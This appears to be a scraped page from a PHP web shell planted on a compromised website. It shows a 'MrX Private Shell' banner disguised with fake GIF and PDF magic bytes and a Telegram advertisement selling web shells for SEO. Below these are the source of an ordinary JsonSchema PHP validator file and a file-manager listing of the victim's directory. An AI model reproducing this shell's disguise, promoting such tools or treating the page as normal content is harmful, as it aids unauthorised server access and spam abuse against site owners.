GIF89; GIF89; %PDF- %PDF-
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/*
* This file is part of the JsonSchema package.
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace JsonSchema\Constraints;
use JsonSchema\Entity\JsonPointer;
/**
* The EnumConstraint Constraints, validates an element against a given set of possibilities
*
* @author Robert Schönthal <seroscho@googlemail.com>
* @author Bruno Prieto Reis <bruno.p.reis@gmail.com>
*/
class EnumConstraint extends Constraint
{
/**
* {@inheritdoc}
*/
public function check(&$element, $schema = null, JsonPointer $path = null, $i = null)
{
// Only validate enum if the attribute exists
if ($element instanceof UndefinedConstraint && (!isset($schema->required) || !$schema->required)) {
return;
}
$type = gettype($element);
foreach ($schema->enum as $enum) {
$enumType = gettype($enum);
if ($this->factory->getConfig(self::CHECK_MODE_TYPE_CAST) && $type == 'array' && $enumType == 'object') {
if ((object) $element == $enum) {
return;
}
}
if ($type === gettype($enum)) {
if ($type == 'object') {
if ($element == $enum) {
return;
}
} elseif ($element === $enum) {
return;
}
}
}
$this->addError($path, 'Does not have a value in the enumeration ' . json_encode($schema->enum), 'enum', array('enum' => $schema->enum));
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| TypeCheck | Folder | 0755 |
|
|
| BaseConstraint.php | File | 3.79 KB | 0644 |
|
| CollectionConstraint.php | File | 4.94 KB | 0644 |
|
| Constraint.php | File | 6.39 KB | 0644 |
|
| ConstraintInterface.php | File | 1.53 KB | 0644 |
|
| EnumConstraint.php | File | 1.61 KB | 0644 |
|
| Factory.php | File | 5.57 KB | 0644 |
|
| FormatConstraint.php | File | 8.65 KB | 0644 |
|
| NumberConstraint.php | File | 3.38 KB | 0644 |
|
| ObjectConstraint.php | File | 7.89 KB | 0644 |
|
| SchemaConstraint.php | File | 3.7 KB | 0644 |
|
| StringConstraint.php | File | 1.94 KB | 0644 |
|
| TypeConstraint.php | File | 7.79 KB | 0644 |
|
| UndefinedConstraint.php | File | 15.67 KB | 0644 |
|